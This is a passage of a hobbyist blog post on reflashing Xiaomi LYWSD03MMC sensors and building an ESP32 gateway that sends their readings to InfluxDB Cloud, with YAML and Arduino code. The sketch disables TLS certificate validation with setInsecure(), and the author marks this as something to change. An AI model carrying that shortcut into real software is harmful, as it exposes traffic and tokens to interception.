&lt;h3 id=&quot;removing-the-xiaomi-mi-home-dependency-flashing-firmware&quot;&gt;Removing the Xiaomi Mi Home Dependency (Flashing Firmware)&lt;/h3&gt;

&lt;p&gt;Although Xiaomi devices are typically well built, their software is &lt;em&gt;terrible&lt;/em&gt;. In this case, the device requires the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.xiaomi.smarthome&amp;amp;hl=en&amp;amp;gl=US&quot;&gt;Xiaomi Mi Home&lt;/a&gt; application to get the data that the sensor collects. While this was a no-go, there is a simple way to get the &lt;em&gt;bindkey&lt;/em&gt; which allows any other Bluetooth-enabled device to get data from the sensor devices. An example is using &lt;a href=&quot;https://esphome.io&quot;&gt;esphome&lt;/a&gt; running on some ESP32. A detailed process on how to get the &lt;em&gt;bindkey&lt;/em&gt; and collect data from the sensors is available on &lt;a href=&quot;https://esphome.io/components/sensor/xiaomi_ble.html#obtaining-the-bindkey&quot;&gt;esphome docs&lt;/a&gt;, using the &lt;a href=&quot;https://atc1441.github.io/TelinkFlasher.html&quot;&gt;TelinkFlasher by ATC1441&lt;/a&gt;. The process is seamless, as the web app can connect to the Bluetooth device (Chromium-based browser recommended) and then use specific commands to get the key (so no wiring is needed!).&lt;/p&gt;

&lt;p&gt;Moreover, this specific sensor has several alternative firmware available that allow one to configure (and even improve) the behavior and communication style of these sensors. Looking at the &lt;a href=&quot;https://github.com/pvvx/ATC_MiThermometer&quot;&gt;
ATC_MiThermometer firmware by pvvx&lt;/a&gt;&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;, adds several improvements to the device, including extended battery life (over a year), improved measurement accuracy, and extended format in 0.01 units, and adjustable RF TX Power &amp;amp; Bluetooth advertising interval.&lt;/p&gt;

&lt;p&gt;The flashing process is straightforward and thoughtfully explained in the &lt;a href=&quot;https://github.com/pvvx/ATC_MiThermometer#flashing-or-updating-the-firmware-ota&quot;&gt;repo readme&lt;/a&gt;. I left my devices with the default firmware configurations, but it is possible to further &lt;a href=&quot;https://github.com/pvvx/ATC_MiThermometer#configuration&quot;&gt;adjust it&lt;/a&gt;. By default, the devices advertise the values they are reading using the firmware default custom format.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: In the case of flashing several devices, I recommend keeping track of the MAC address of the devices by connecting (inserting the battery) each one separately and checking the device MAC using, as an example, the &lt;a href=&quot;https://www.nordicsemi.com/Products/Development-tools/nrf-toolbox&quot;&gt;Nordic nRF Toolbox&lt;/a&gt;, and write it down in the back of the sensor.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;building-a-low-power-gateway&quot;&gt;Building a Low-Power Gateway&lt;/h3&gt;

&lt;p&gt;The data can be collected from the devices easily, using ESPHome on an ESP32, as was already mentioned. A sample example of such would be using a configuration like the following:&lt;/p&gt;

&lt;div class=&quot;language-yml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;esp32_ble_tracker&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;active&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;false&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;xiaomi_lywsd03mmc&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;mac_address&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;A4:C1:38:AA:AA:AA&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;bindkey&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;eef418daf699a0c188f3bfd17e4565d9&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;temperature&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;LYWSD03MMC&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Temperature&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;humidity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;LYWSD03MMC&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Humidity&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;battery_level&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;LYWSD03MMC&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Battery&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Level&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, the system becomes unstable when more than one sensor is configured at the same time, leading to several &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; failures. This also limits the ability to configure the transmission of data using MQTT or HTTP to a data storage service, so ESPHome did not work for this case.&lt;/p&gt;

&lt;p&gt;Another option would be using &lt;a href=&quot;https://docs.openmqttgateway.com/&quot;&gt;OpenMQTTGateway&lt;/a&gt;, but using it would require an MQTT broker and some middleware (e.g., Node-RED) to consume from the MQTT topics and send the data to some database&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, the option chosen was to program a minimal Arduino program that runs on the ESP32 that collects data from the sensor devices and, using REST, directly writes the data to a database. To fulfill all the requirements, this needed to be a cloud-based database, preferably with some kind of visualization toolkit available, so &lt;a href=&quot;https://www.influxdata.com/&quot;&gt;InfluxDB Cloud&lt;/a&gt; was selected. The free tier retains data from the last 30 days, which is more than enough to understand the thermal and isolation performance of the home&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;The Arduino program was built using two libraries:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/matthias-bs/ESP32_ATC_MiThermometer_Library&quot;&gt;ESP32_ATC_MiThermometer_Library&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tobiasschuerg/InfluxDB-Client-for-Arduino&quot;&gt;InfluxDB-Client-for-Arduino&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By leveraging those &lt;em&gt;libs&lt;/em&gt;, the program is less than 80 lines of code:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;ATC_MiThermometer.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;WiFi.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;InfluxDbClient.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;InfluxDbCloud.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;---&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;---&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define TZ_INFO &quot;WET-0WEST-1,M3.5.0/01:00:00,M10.5.0/02:00:00&quot; // lisbon time
#define INFLUXDB_URL &quot;https://example.influxdata.com&quot;
#define INFLUXDB_TOKEN &quot;base64==&quot;
#define INFLUXDB_ORG &quot;org&quot;
#define INFLUXDB_BUCKET &quot;bucket&quot;
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// List of known sensors&apos; BLE addresses&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;knownBLEAddresses&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;A4:C1:38:11:11:11&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;A4:C1:38:22:22:22&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// List of localizations&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;locations&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;office&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;entrance&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;InfluxDBClient&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;INFLUXDB_URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INFLUXDB_ORG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INFLUXDB_BUCKET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INFLUXDB_TOKEN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scanTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// BLE scan time in seconds&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ATC_MiThermometer&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;knownBLEAddresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;setup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;115200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;WiFi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Connecting&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WiFi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WL_CONNECTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;delay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Connected to WiFi network with IP Address: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WiFi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;localIP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;timeSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TZ_INFO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pool.ntp.org&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;time.nis.gov&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// do not validate TLS (this should be changed)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setInsecure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Set sensor data invalid&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resetData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Get sensor data - run BLE scan for &amp;lt;scanTime&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scanTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;valid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Sensor %d: %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;knownBLEAddresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Location %d: %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;locations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%.2f°C&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;temperature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%.2f%%&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;humidity&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%.3fV&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;batt_voltage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%d%%&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;batt_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

